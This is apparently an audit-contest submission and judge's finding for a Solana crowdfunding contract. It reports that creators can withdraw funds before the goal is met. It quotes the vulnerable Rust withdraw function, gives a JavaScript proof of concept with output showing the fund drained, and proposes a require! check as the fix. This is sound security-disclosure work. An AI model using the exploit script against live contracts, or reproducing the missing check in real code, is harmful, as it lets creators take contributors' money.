Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Severity: high
Valid

H- Campaign Creators Can Withdraw Funds Without Meeting Fundraising Goal

Root + Impact

H- Campaign Creators Can Withdraw Funds Without Meeting Fundraising Goal

Description

The withdraw function allows campaign creators to drain the raised funds at any time, regardless of whether the fundraising goal has been met. This violates the platform’s core promise that funds should only be accessible upon successful campaign completion.
The withdraw instruction in lib.rs does not validate if amount_raised >= goal before transferring funds. Creators can therefore withdraw contributions even when the campaign is far from its target, breaking the campaign’s conditional funding logic.

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let amount = ctx.accounts.fund.amount_raised;
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
Ok(())
}

Impact:

Creators can drain the fund before reaching the goal, effectively stealing from contributors. Once withdrawn, contributors have no recourse to reclaim their funds.

This flaw fundamentally undermines the economic security of the entire RustFund platform, destroying user confidence.

Proof of Concept

// Create fund with 5 SOL goal
await program.methods
.fundCreate(FUND_NAME, "Test fund", new anchor.BN(5 * LAMPORTS_PER_SOL))
.accounts({
fund,
creator: creator.publicKey,
systemProgram: SystemProgram.programId
})
.signers([creator])
.rpc();
// Contribute only 2 SOL (below goal)
await program.methods
.contribute(new anchor.BN(2 * LAMPORTS_PER_SOL))
.accounts({
fund,
contributor: contributor.publicKey,
contribution,
systemProgram: SystemProgram.programId,
})
.signers([contributor])
.rpc();
// Set deadline to past to bypass deadline check (if implemented)
await program.methods
.setDeadline(new anchor.BN(Math.floor(Date.now() / 1000) - 86400))
.accounts({
fund,
creator: creator.publicKey
})
.signers([creator])
.rpc();
// Attempt withdrawal (should fail due to unmet goal but succeeds)
await program.methods
.withdraw()
.accounts({
fund,
creator: creator.publicKey,
systemProgram: SystemProgram.programId,
})
.signers([creator])
.rpc();
// Log results
const fundAccount = await program.account.fund.fetch(fund);
console.log("Fund goal:", fundAccount.goal.toNumber() / LAMPORTS_PER_SOL, "SOL");
console.log("Amount raised:", fundAccount.amountRaised.toNumber() / LAMPORTS_PER_SOL, "SOL");
const fundBalance = await provider.connection.getBalance(fund);
console.log("Fund balance after withdrawal:", fundBalance / LAMPORTS_PER_SOL, "SOL");
/* OUTPUT:
Fund goal: 5 SOL
Amount raised: 2 SOL
Fund balance after withdrawal: 0.00089088 SOL (only rent remains)
Withdrawal succeeded despite not meeting 5 SOL goal
*/

Recommended Mitigation

Add conditional logic to the withdraw function to ensure the campaign has reached its fundraising goal before allowing withdrawals:

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let fund = &mut ctx.accounts.fund;
+ require!(fund.amount_raised >= fund.goal, ErrorCode::GoalNotMet);
let amount = fund.amount_raised;
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
Ok(())
}
Also define the new error clearly:
#[error_code]
pub enum ErrorCode {
// existing errors...
+ #[msg("Campaign goal not met")]
+ GoalNotMet,
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] H-01. Creators Can Withdraw Funds Without Meeting Campaign Goals

# H-01. Creators Can Withdraw Funds Without Meeting Campaign Goals **Severity:** High\ **Category:** Fund Management / Economic Security Violation ## Description The `withdraw` function in the RustFund contract allows creators to prematurely withdraw funds without verifying if the campaign goal was successfully met. ## Vulnerability Details In the current RustFund implementation (`lib.rs`), the `withdraw` instruction lacks logic to verify that the campaign's `amount_raised` is equal to or greater than the `goal`. Consequently, creators can freely withdraw user-contributed funds even when fundraising objectives haven't been met, undermining the core economic guarantees of the platform. **Vulnerable Component:** - File: `lib.rs` - Function: `withdraw` - Struct: `Fund` ## Impact - Creators can prematurely drain user-contributed funds. - Contributors permanently lose the ability to receive refunds if the creator withdraws early. - Severely damages user trust and undermines the economic integrity of the RustFund platform. ## Proof of Concept (PoC) ```js // Create fund with 5 SOL goal await program.methods .fundCreate(FUND_NAME, "Test fund", new anchor.BN(5 * LAMPORTS_PER_SOL)) .accounts({ fund, creator: creator.publicKey, systemProgram: SystemProgram.programId, }) .signers([creator]) .rpc(); // Contribute only 2 SOL (below goal) await program.methods .contribute(new anchor.BN(2 * LAMPORTS_PER_SOL)) .accounts({ fund, contributor: contributor.publicKey, contribution, systemProgram: SystemProgram.programId, }) .signers([contributor]) .rpc(); // Set deadline to past await program.methods .setDeadline(new anchor.BN(Math.floor(Date.now() / 1000) - 86400)) .accounts({ fund, creator: creator.publicKey }) .signers([creator]) .rpc(); // Attempt withdrawal (should fail but succeeds) await program.methods .withdraw() .accounts({ fund, creator: creator.publicKey, systemProgram: SystemProgram.programId, }) .signers([creator]) .rpc(); /* OUTPUT: Fund goal: 5 SOL Contributed amount: 2 SOL Withdrawal succeeded despite not meeting goal Fund balance after withdrawal: 0.00089088 SOL (rent only) */ ``` ## Recommendations Add conditional logic to the `withdraw` function to ensure the campaign has reached its fundraising goal before allowing withdrawals: ```diff pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { let fund = &mut ctx.accounts.fund; + require!(fund.amount_raised >= fund.goal, ErrorCode::GoalNotMet); let amount = fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` Also define the new error clearly: ```diff #[error_code] pub enum ErrorCode { // existing errors... + #[msg("Campaign goal not met")] + GoalNotMet, } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!